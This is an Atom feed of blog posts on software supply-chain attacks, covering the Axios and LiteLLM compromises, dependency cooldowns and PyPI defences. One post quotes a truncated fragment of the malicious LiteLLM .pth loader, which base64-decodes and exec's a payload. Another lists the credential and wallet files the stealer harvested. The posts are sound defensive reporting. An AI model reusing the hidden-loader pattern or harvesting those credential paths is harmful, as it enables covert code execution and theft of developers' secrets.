<?xml version="1.0" encoding="utf-8"?>
<feed xml:lang="en-us" xmlns="http://www.w3.org/2005/Atom"><title>Simon Willison's Weblog: supply-chain</title><link href="http://simonwillison.net/" rel="alternate"/><link href="http://simonwillison.net/tags/supply-chain.atom" rel="self"/><id>http://simonwillison.net/</id><updated>2026-04-03T13:54:53+00:00</updated><author><name>Simon Willison</name></author><entry><title>The Axios supply chain attack used individually targeted social engineering</title><link href="https://simonwillison.net/2026/Apr/3/supply-chain-social-engineering/#atom-tag" rel="alternate"/><published>2026-04-03T13:54:53+00:00</published><updated>2026-04-03T13:54:53+00:00</updated><id>https://simonwillison.net/2026/Apr/3/supply-chain-social-engineering/#atom-tag</id><summary type="html">
    &lt;p&gt;The Axios team have published a &lt;a href="https://github.com/axios/axios/issues/10636"&gt;full postmortem&lt;/a&gt; on the supply chain attack which resulted in a malware dependency going out &lt;a href="https://simonwillison.net/2026/Mar/31/supply-chain-attack-on-axios/"&gt;in a release the other day&lt;/a&gt;, and it involved a sophisticated social engineering campaign targeting one of their maintainers directly. Here's Jason Saayman'a description of &lt;a href="https://github.com/axios/axios/issues/10636#issuecomment-4180237789"&gt;how that worked&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;so the attack vector mimics what google has documented here: &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering"&gt;https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;they tailored this process specifically to me by doing the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;they reached out masquerading as the founder of a company they had cloned the companys founders likeness as well as the company itself.&lt;/li&gt;
&lt;li&gt;they then invited me to a real slack workspace. this workspace was branded to the companies ci and named in a plausible manner. the slack was thought out very well, they had channels where they were sharing linked-in posts, the linked in posts i presume just went to the real companys account but it was super convincing etc. they even had what i presume were fake profiles of the team of the company but also number of other oss maintainers.&lt;/li&gt;
&lt;li&gt;they scheduled a meeting with me to connect. the meeting was on ms teams. the meeting had what seemed to be a group of people that were involved.&lt;/li&gt;
&lt;li&gt;the meeting said something on my system was out of date. i installed the missing item as i presumed it was something to do with teams, and this was the RAT.&lt;/li&gt;
&lt;li&gt;everything was extremely well co-ordinated looked legit and was done in a professional manner.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;A RAT is a Remote Access Trojan - this was the software which stole the developer's credentials which could then be used to publish the malicious package.&lt;/p&gt;
&lt;p&gt;That's a &lt;em&gt;very effective&lt;/em&gt; scam. I join a lot of meetings where I find myself needing to install Webex or Microsoft Teams or similar at the last moment and the time constraint means I always click "yes" to things as quickly as possible to make sure I don't join late.&lt;/p&gt;
&lt;p&gt;Every maintainer of open source software used by enough people to be worth taking in this way needs to be familiar with this attack strategy.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/social-engineering"&gt;social-engineering&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="open-source"/><category term="packaging"/><category term="security"/><category term="social-engineering"/><category term="supply-chain"/></entry><entry><title>Supply Chain Attack on Axios Pulls Malicious Dependency from npm</title><link href="https://simonwillison.net/2026/Mar/31/supply-chain-attack-on-axios/#atom-tag" rel="alternate"/><published>2026-03-31T23:28:40+00:00</published><updated>2026-03-31T23:28:40+00:00</updated><id>https://simonwillison.net/2026/Mar/31/supply-chain-attack-on-axios/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://socket.dev/blog/axios-npm-package-compromised"&gt;Supply Chain Attack on Axios Pulls Malicious Dependency from npm&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Useful writeup of today's supply chain attack against Axios, the HTTP client NPM package with &lt;a href="https://www.npmjs.com/package/axios"&gt;101 million weekly downloads&lt;/a&gt;. Versions &lt;code&gt;1.14.1&lt;/code&gt; and &lt;code&gt;0.30.4&lt;/code&gt; both included a new dependency called &lt;code&gt;plain-crypto-js&lt;/code&gt; which was freshly published malware, stealing credentials and installing a remote access trojan (RAT).&lt;/p&gt;
&lt;p&gt;It looks like the attack came from a leaked long-lived npm token. Axios have &lt;a href="https://github.com/axios/axios/issues/7055"&gt;an open issue to adopt trusted publishing&lt;/a&gt;, which would ensure that only their GitHub Actions workflows are able to publish to npm. The malware packages were published without an accompanying GitHub release, which strikes me as a useful heuristic for spotting potentially malicious releases - the same pattern was present for LiteLLM &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;last week&lt;/a&gt; as well.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://lobste.rs/s/l57wuc/supply_chain_attack_on_axios"&gt;lobste.rs&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="javascript"/><category term="security"/><category term="npm"/><category term="supply-chain"/></entry><entry><title>Python Vulnerability Lookup</title><link href="https://simonwillison.net/2026/Mar/29/python-vulnerability-lookup/#atom-tag" rel="alternate"/><published>2026-03-29T18:46:16+00:00</published><updated>2026-03-29T18:46:16+00:00</updated><id>https://simonwillison.net/2026/Mar/29/python-vulnerability-lookup/#atom-tag</id><summary type="html">
    &lt;p&gt;&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://tools.simonwillison.net/python-vulnerability-lookup"&gt;Python Vulnerability Lookup&lt;/a&gt;&lt;/p&gt;
    &lt;p&gt;I learned that the &lt;a href="https://osv.dev/"&gt;OSV.dev&lt;/a&gt; open source vulnerability database has an open CORS &lt;a href="https://google.github.io/osv.dev/api/"&gt;JSON API&lt;/a&gt;, so I had Claude Code build this &lt;a href="https://simonwillison.net/2025/Dec/10/html-tools/"&gt;HTML tool&lt;/a&gt; for pasting in a &lt;code&gt;pyproject.toml&lt;/code&gt; or &lt;code&gt;requirements.txt&lt;/code&gt; file (or name of a GitHub repo containing those) and seeing a list of all reported vulnerabilities from that API.&lt;/p&gt;
    
        &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/tools"&gt;tools&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/vibe-coding"&gt;vibe-coding&lt;/a&gt;&lt;/p&gt;
    

</summary><category term="python"/><category term="security"/><category term="tools"/><category term="supply-chain"/><category term="vibe-coding"/></entry><entry><title>My minute-by-minute response to the LiteLLM malware attack</title><link href="https://simonwillison.net/2026/Mar/26/response-to-the-litellm-malware-attack/#atom-tag" rel="alternate"/><published>2026-03-26T23:58:22+00:00</published><updated>2026-03-26T23:58:22+00:00</updated><id>https://simonwillison.net/2026/Mar/26/response-to-the-litellm-malware-attack/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://futuresearch.ai/blog/litellm-attack-transcript/"&gt;My minute-by-minute response to the LiteLLM malware attack&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Callum McMahon reported the &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;LiteLLM malware attack&lt;/a&gt; to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Confirmed&lt;/strong&gt;. Fresh download from PyPI right now in an isolated Docker container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The malicious &lt;code&gt;litellm==1.82.8&lt;/code&gt; is &lt;strong&gt;live on PyPI right now&lt;/strong&gt; and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I was chuffed to see Callum use my &lt;a href="https://github.com/simonw/claude-code-transcripts"&gt;claude-code-transcripts&lt;/a&gt; tool to publish the transcript of the conversation.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=47531967"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai"&gt;ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/generative-ai"&gt;generative-ai&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/llms"&gt;llms&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/claude"&gt;claude&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/ai-security-research"&gt;ai-security-research&lt;/a&gt;&lt;/p&gt;



</summary><category term="pypi"/><category term="security"/><category term="ai"/><category term="generative-ai"/><category term="llms"/><category term="claude"/><category term="supply-chain"/><category term="ai-security-research"/></entry><entry><title>LiteLLM Hack: Were You One of the 47,000?</title><link href="https://simonwillison.net/2026/Mar/25/litellm-hack/#atom-tag" rel="alternate"/><published>2026-03-25T17:21:04+00:00</published><updated>2026-03-25T17:21:04+00:00</updated><id>https://simonwillison.net/2026/Mar/25/litellm-hack/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://futuresearch.ai/blog/litellm-hack-were-you-one-of-the-47000/"&gt;LiteLLM Hack: Were You One of the 47,000?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Daniel Hnyk used the &lt;a href="https://console.cloud.google.com/bigquery?p=bigquery-public-data&amp;amp;d=pypi"&gt;BigQuery PyPI dataset&lt;/a&gt; to determine how many downloads there were of &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;the exploited LiteLLM packages&lt;/a&gt; during the 46 minute period they were live on PyPI. The answer was 46,996 across the two compromised release versions (1.82.7 and 1.82.8).&lt;/p&gt;
&lt;p&gt;They also identified 2,337 packages that depended on LiteLLM - 88% of which did not pin versions in a way that would have avoided the exploited version.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://twitter.com/hnykda/status/2036834100342825369"&gt;@hnykda&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="packaging"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>Package Managers Need to Cool Down</title><link href="https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/#atom-tag" rel="alternate"/><published>2026-03-24T21:11:38+00:00</published><updated>2026-03-24T21:11:38+00:00</updated><id>https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://nesbitt.io/2026/03/04/package-managers-need-to-cool-down.html"&gt;Package Managers Need to Cool Down&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Today's &lt;a href="https://simonwillison.net/2026/Mar/24/malicious-litellm/"&gt;LiteLLM supply chain attack&lt;/a&gt; inspired me to revisit the idea of &lt;a href="https://simonwillison.net/2025/Nov/21/dependency-cooldowns/"&gt;dependency cooldowns&lt;/a&gt;, the practice of only installing updated dependencies once they've been out in the wild for a few days to give the community a chance to spot if they've been subverted in some way.&lt;/p&gt;
&lt;p&gt;This recent piece (March 4th) piece by Andrew Nesbitt reviews the current state of dependency cooldown mechanisms across different packaging tools. It's surprisingly well supported! There's been a flurry of activity across major packaging tools, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pnpm.io/blog/releases/10.16#new-setting-for-delayed-dependency-updates"&gt;pnpm 10.16&lt;/a&gt; (September 2025) — &lt;code&gt;minimumReleaseAge&lt;/code&gt; with &lt;code&gt;minimumReleaseAgeExclude&lt;/code&gt; for trusted packages&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/yarnpkg/berry/releases/tag/%40yarnpkg%2Fcli%2F4.10.0"&gt;Yarn 4.10.0&lt;/a&gt; (September 2025) — &lt;code&gt;npmMinimalAgeGate&lt;/code&gt; (in minutes) with &lt;code&gt;npmPreapprovedPackages&lt;/code&gt; for exemptions&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bun.com/blog/bun-v1.3#minimum-release-age"&gt;Bun 1.3&lt;/a&gt; (October 2025) — &lt;code&gt;minimumReleaseAge&lt;/code&gt; via &lt;code&gt;bunfig.toml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://deno.com/blog/v2.6#controlling-dependency-stability"&gt;Deno 2.6&lt;/a&gt; (December 2025) — &lt;code&gt;--minimum-dependency-age&lt;/code&gt; for &lt;code&gt;deno update&lt;/code&gt; and &lt;code&gt;deno outdated&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/astral-sh/uv/releases/tag/0.9.17"&gt;uv 0.9.17&lt;/a&gt; (December 2025) — added relative duration support to existing &lt;code&gt;--exclude-newer&lt;/code&gt;, plus per-package overrides via &lt;code&gt;exclude-newer-package&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ichard26.github.io/blog/2026/01/whats-new-in-pip-26.0/"&gt;pip 26.0&lt;/a&gt; (January 2026) — &lt;code&gt;--uploaded-prior-to&lt;/code&gt; (absolute timestamps only; &lt;a href="https://github.com/pypa/pip/issues/13674"&gt;relative duration support requested&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration"&gt;npm 11.10.0&lt;/a&gt; (February 2026) — &lt;code&gt;min-release-age&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;pip&lt;/code&gt; currently only supports absolute rather than relative dates but Seth Larson &lt;a href="https://sethmlarson.dev/pip-relative-dependency-cooling-with-crontab"&gt;has a workaround for that&lt;/a&gt; using a scheduled cron to update the absolute date in the &lt;code&gt;pip.conf&lt;/code&gt; config file.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pip"&gt;pip&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/npm"&gt;npm&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/deno"&gt;deno&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/uv"&gt;uv&lt;/a&gt;&lt;/p&gt;



</summary><category term="javascript"/><category term="packaging"/><category term="pip"/><category term="pypi"/><category term="python"/><category term="security"/><category term="npm"/><category term="deno"/><category term="supply-chain"/><category term="uv"/></entry><entry><title>Malicious litellm_init.pth in litellm 1.82.8 — credential stealer</title><link href="https://simonwillison.net/2026/Mar/24/malicious-litellm/#atom-tag" rel="alternate"/><published>2026-03-24T15:07:31+00:00</published><updated>2026-03-24T15:07:31+00:00</updated><id>https://simonwillison.net/2026/Mar/24/malicious-litellm/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/BerriAI/litellm/issues/24512"&gt;Malicious litellm_init.pth in litellm 1.82.8 — credential stealer&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
The LiteLLM v1.82.8 package published to PyPI was compromised with a particularly nasty credential stealer hidden in base64 in a &lt;code&gt;litellm_init.pth&lt;/code&gt; file, which means installing the package is enough to trigger it even without running &lt;code&gt;import litellm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;(1.82.7 had the exploit as well but it was in the &lt;code&gt;proxy/proxy_server.py&lt;/code&gt; file so the package had to be imported for it to take effect.)&lt;/p&gt;
&lt;p&gt;This issue has a very detailed description of what the credential stealer does. There's more information about the timeline of the exploit &lt;a href="https://github.com/BerriAI/litellm/issues/24518"&gt;over here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;PyPI has already &lt;a href="https://pypi.org/help/#project_in_quarantine"&gt;quarantined&lt;/a&gt; the &lt;a href="https://pypi.org/project/litellm/"&gt;litellm package&lt;/a&gt; so the window for compromise was just a few hours, but if you DID install the package it would have hoovered up a bewildering array of secrets, including &lt;code&gt;~/.ssh/&lt;/code&gt;, &lt;code&gt;~/.gitconfig&lt;/code&gt;, &lt;code&gt;~/.git-credentials&lt;/code&gt;, &lt;code&gt;~/.aws/&lt;/code&gt;, &lt;code&gt;~/.kube/&lt;/code&gt;, &lt;code&gt;~/.config/&lt;/code&gt;, &lt;code&gt;~/.azure/&lt;/code&gt;, &lt;code&gt;~/.docker/&lt;/code&gt;, &lt;code&gt;~/.npmrc&lt;/code&gt;, &lt;code&gt;~/.vault-token&lt;/code&gt;, &lt;code&gt;~/.netrc&lt;/code&gt;, &lt;code&gt;~/.lftprc&lt;/code&gt;, &lt;code&gt;~/.msmtprc&lt;/code&gt;, &lt;code&gt;~/.my.cnf&lt;/code&gt;, &lt;code&gt;~/.pgpass&lt;/code&gt;, &lt;code&gt;~/.mongorc.js&lt;/code&gt;, &lt;code&gt;~/.bash_history&lt;/code&gt;, &lt;code&gt;~/.zsh_history&lt;/code&gt;, &lt;code&gt;~/.sh_history&lt;/code&gt;, &lt;code&gt;~/.mysql_history&lt;/code&gt;, &lt;code&gt;~/.psql_history&lt;/code&gt;, &lt;code&gt;~/.rediscli_history&lt;/code&gt;, &lt;code&gt;~/.bitcoin/&lt;/code&gt;, &lt;code&gt;~/.litecoin/&lt;/code&gt;, &lt;code&gt;~/.dogecoin/&lt;/code&gt;, &lt;code&gt;~/.zcash/&lt;/code&gt;, &lt;code&gt;~/.dashcore/&lt;/code&gt;, &lt;code&gt;~/.ripple/&lt;/code&gt;, &lt;code&gt;~/.bitmonero/&lt;/code&gt;, &lt;code&gt;~/.ethereum/&lt;/code&gt;, &lt;code&gt;~/.cardano/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It looks like this supply chain attack started with the &lt;a href="https://www.crowdstrike.com/en-us/blog/from-scanner-to-stealer-inside-the-trivy-action-supply-chain-compromise/"&gt;recent exploit&lt;/a&gt; against &lt;a href="https://trivy.dev/"&gt;Trivy&lt;/a&gt;, ironically a security scanner tool that was used in CI &lt;a href="https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L16"&gt;by LiteLLM&lt;/a&gt;. The Trivy exploit likely resulted in stolen PyPI credentials which were then used to directly publish the vulnerable packages.


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="open-source"/><category term="pypi"/><category term="python"/><category term="security"/><category term="supply-chain"/></entry><entry><title>We should all be using dependency cooldowns</title><link href="https://simonwillison.net/2025/Nov/21/dependency-cooldowns/#atom-tag" rel="alternate"/><published>2025-11-21T17:27:33+00:00</published><updated>2025-11-21T17:27:33+00:00</updated><id>https://simonwillison.net/2025/Nov/21/dependency-cooldowns/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.yossarian.net/2025/11/21/We-should-all-be-using-dependency-cooldowns"&gt;We should all be using dependency cooldowns&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
William Woodruff gives a name to a sensible strategy for managing dependencies while reducing the chances of a surprise supply chain attack: &lt;strong&gt;dependency cooldowns&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Supply chain attacks happen when an attacker compromises a widely used open source package and publishes a new version with an exploit. These are usually spotted &lt;em&gt;very&lt;/em&gt; quickly, so an attack often only has a few hours of effective window before the problem is identified and the compromised package is pulled.&lt;/p&gt;
&lt;p&gt;You are most at risk if you're automatically applying upgrades the same day they are released.&lt;/p&gt;
&lt;p&gt;William says:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I &lt;strong&gt;love&lt;/strong&gt; cooldowns for several reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;They're empirically effective, per above. They won't stop &lt;em&gt;all&lt;/em&gt; attackers, but they &lt;em&gt;do&lt;/em&gt; stymie the majority of high-visibiity, mass-impact supply chain attacks that have become more common.&lt;/li&gt;
&lt;li&gt;They're &lt;em&gt;incredibly&lt;/em&gt; easy to implement. Moreover, they're &lt;strong&gt;literally free&lt;/strong&gt; to implement in most cases: most people can use &lt;a href="https://docs.github.com/en/code-security/dependabot/working-with-dependabot/dependabot-options-reference#cooldown-"&gt;Dependabot's functionality&lt;/a&gt;, &lt;a href="https://docs.renovatebot.com/key-concepts/minimum-release-age/"&gt;Renovate's functionality&lt;/a&gt;, or the functionality build directly into their package manager&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;The one counter-argument to this is that sometimes an upgrade fixes a security vulnerability, and in those cases every hour of delay in upgrading as an hour when an attacker could exploit the new issue against your software.&lt;/p&gt;
&lt;p&gt;I see that as an argument for carefully monitoring the release notes of your dependencies, and paying special attention to security advisories. I'm a big fan of the &lt;a href="https://github.com/advisories"&gt;GitHub Advisory Database&lt;/a&gt; for that kind of information.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=46005111"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/definitions"&gt;definitions&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/github"&gt;github&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/packaging"&gt;packaging&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



</summary><category term="definitions"/><category term="github"/><category term="open-source"/><category term="packaging"/><category term="supply-chain"/></entry><entry><title>A Retrospective Survey of 2024/2025 Open Source Supply Chain Compromises</title><link href="https://simonwillison.net/2025/Oct/10/a-retrospective-survey/#atom-tag" rel="alternate"/><published>2025-10-10T23:00:52+00:00</published><updated>2025-10-10T23:00:52+00:00</updated><id>https://simonwillison.net/2025/Oct/10/a-retrospective-survey/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://words.filippo.io/compromise-survey/"&gt;A Retrospective Survey of 2024/2025 Open Source Supply Chain Compromises&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Filippo Valsorda surveyed 18 incidents from the past year of open source supply chain attacks, where package updates were infected with malware thanks to a compromise of the project itself.&lt;/p&gt;
&lt;p&gt;These are important lessons:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I have the growing impression that software supply chain compromises have a few predominant causes which we might have a responsibility as a professional open source maintainers to robustly mitigate.&lt;/p&gt;
&lt;p&gt;To test this impression and figure out any such mitigations, I collected all 2024/2025 open source supply chain compromises I could find, and categorized their root cause.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a fascinating piece of research. 5 were the result of phishing (maintainers should use passkeys/WebAuthn!), ~5 were stolen long-lived credentials, 3 were "control handoff" where a maintainer gave project access to someone who later turned out to be untrustworthy, 4 were caused by GitHub Actions workflows that triggered on pull requests or issue comments in a way that could leak credentials, and one (&lt;a href="https://blog.oversecured.com/Introducing-MavenGate-a-supply-chain-attack-method-for-Java-and-Android-applications/"&gt;MavenGate&lt;/a&gt;) was caused by &lt;a href="https://blog.oversecured.com/Introducing-MavenGate-a-supply-chain-attack-method-for-Java-and-Android-applications/#method-of-attacks"&gt;an expired domain&lt;/a&gt; being resurrected.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://lobste.rs/s/0ua1s5/retrospective_survey_2024_2025_open"&gt;lobste.rs&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/open-source"&gt;open-source&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/filippo-valsorda"&gt;filippo-valsorda&lt;/a&gt;&lt;/p&gt;



</summary><category term="open-source"/><category term="security"/><category term="supply-chain"/><category term="filippo-valsorda"/></entry><entry><title>PyPI: Preventing Domain Resurrection Attacks</title><link href="https://simonwillison.net/2025/Aug/19/pypi-preventing-domain-resurrection-attacks/#atom-tag" rel="alternate"/><published>2025-08-19T15:36:44+00:00</published><updated>2025-08-19T15:36:44+00:00</updated><id>https://simonwillison.net/2025/Aug/19/pypi-preventing-domain-resurrection-attacks/#atom-tag</id><summary type="html">
    
&lt;p&gt;&lt;strong&gt;&lt;a href="https://blog.pypi.org/posts/2025-08-18-preventing-domain-resurrections/"&gt;PyPI: Preventing Domain Resurrection Attacks&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
Domain resurrection attacks are a nasty vulnerability in systems that use email verification to allow people to recover their accounts. If somebody lets their domain name expire an attacker might snap it up and use it to gain access to their accounts - which can turn into a package supply chain attack if they had an account on something like the Python Package Index.&lt;/p&gt;
&lt;p&gt;PyPI now protects against these by treating an email address as not-validated if the associated domain expires.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Since early June 2025, PyPI has unverified over 1,800 email addresses when their associated domains entered expiration phases. This isn't a perfect solution, but it closes off a significant attack vector where the majority of interactions would appear completely legitimate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This attack is not theoretical: it happened to the &lt;code&gt;ctx&lt;/code&gt; package on PyPI &lt;a href="https://python-security.readthedocs.io/pypi-vuln/index-2022-05-24-ctx-domain-takeover.html"&gt;back in May 2022&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here's the &lt;a href="https://github.com/pypi/warehouse/pull/17832"&gt;pull request&lt;/a&gt; from April in which Mike Fiedler landed an integration which hits an API provided by Fastly's &lt;a href="https://domainr.com/"&gt;Domainr&lt;/a&gt;, followed by &lt;a href="https://github.com/pypi/warehouse/pull/18014"&gt;this PR&lt;/a&gt; which &lt;a href="https://github.com/miketheman/warehouse/blob/48f082b4fb085a25dabdb87c2e158af04b1ba5e8/warehouse/accounts/tasks.py#L141-L164"&gt;polls for domain status&lt;/a&gt; on any email domain that hasn't been checked in the past 30 days.

    &lt;p&gt;&lt;small&gt;&lt;/small&gt;Via &lt;a href="https://news.ycombinator.com/item?id=44950091"&gt;Hacker News&lt;/a&gt;&lt;/small&gt;&lt;/p&gt;


    &lt;p&gt;Tags: &lt;a href="https://simonwillison.net/tags/domains"&gt;domains&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/pypi"&gt;pypi&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/python"&gt;python&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/security"&gt;security&lt;/a&gt;, &lt;a href="https://simonwillison.net/tags/supply-chain"&gt;supply-chain&lt;/a&gt;&lt;/p&gt;



